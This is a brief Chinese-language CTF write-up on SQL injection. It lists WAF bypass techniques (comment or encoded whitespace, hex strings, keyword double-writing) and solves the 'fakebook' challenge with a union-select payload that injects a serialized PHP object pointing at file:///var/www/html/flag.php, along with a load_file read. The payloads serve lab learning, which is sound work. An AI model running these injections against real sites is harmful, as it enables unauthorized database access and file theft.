SQL注入
通过注入可以查到数据库所有内容
1 | --+ 的目的是注释后面代码,‘+’在url中表示空白符 |
后端通常有简单的过滤规则(WAF)。
| 被过滤字符 | 绕过方式 | 原理 |
|---|---|---|
| 空格 | /**/ |
在 SQL 中,注释符可作为空白分隔符 |
| 空格 | %0a, %a0 |
使用换行符或不换行空格的编码 |
| 单引号 | 0x (Hex) |
将字符串转为十六进制,如 'flag' → 0x666c6167 |
| 关键字 | 双写/大小写 | 如 UNunionION 或 uNiOn (视环境而定) |
盲注(无回显)借助脚本爆破
攻防世界fakebook
常规爆破得到字段数为 4 数据库名为fakebook 有一个表名为users 有四列分别为 no username passwd data 读取 data 得到序列化字符串 ~O:8:”UserInfo”:3:{s:4:”name”;s:3:”123”;s:3:”age”;i:12;s:4:”blog”;s:14:”http://test.com";},
通过目录扫描找到关键几个目录
方法一:load_file("/var/www/html/flag.php") 读取文件
方法二:通过修改blog值达到ssrf的作用
尝试
1 | union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+ |
修改后访问找到读取到的base64加密flag
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg=='>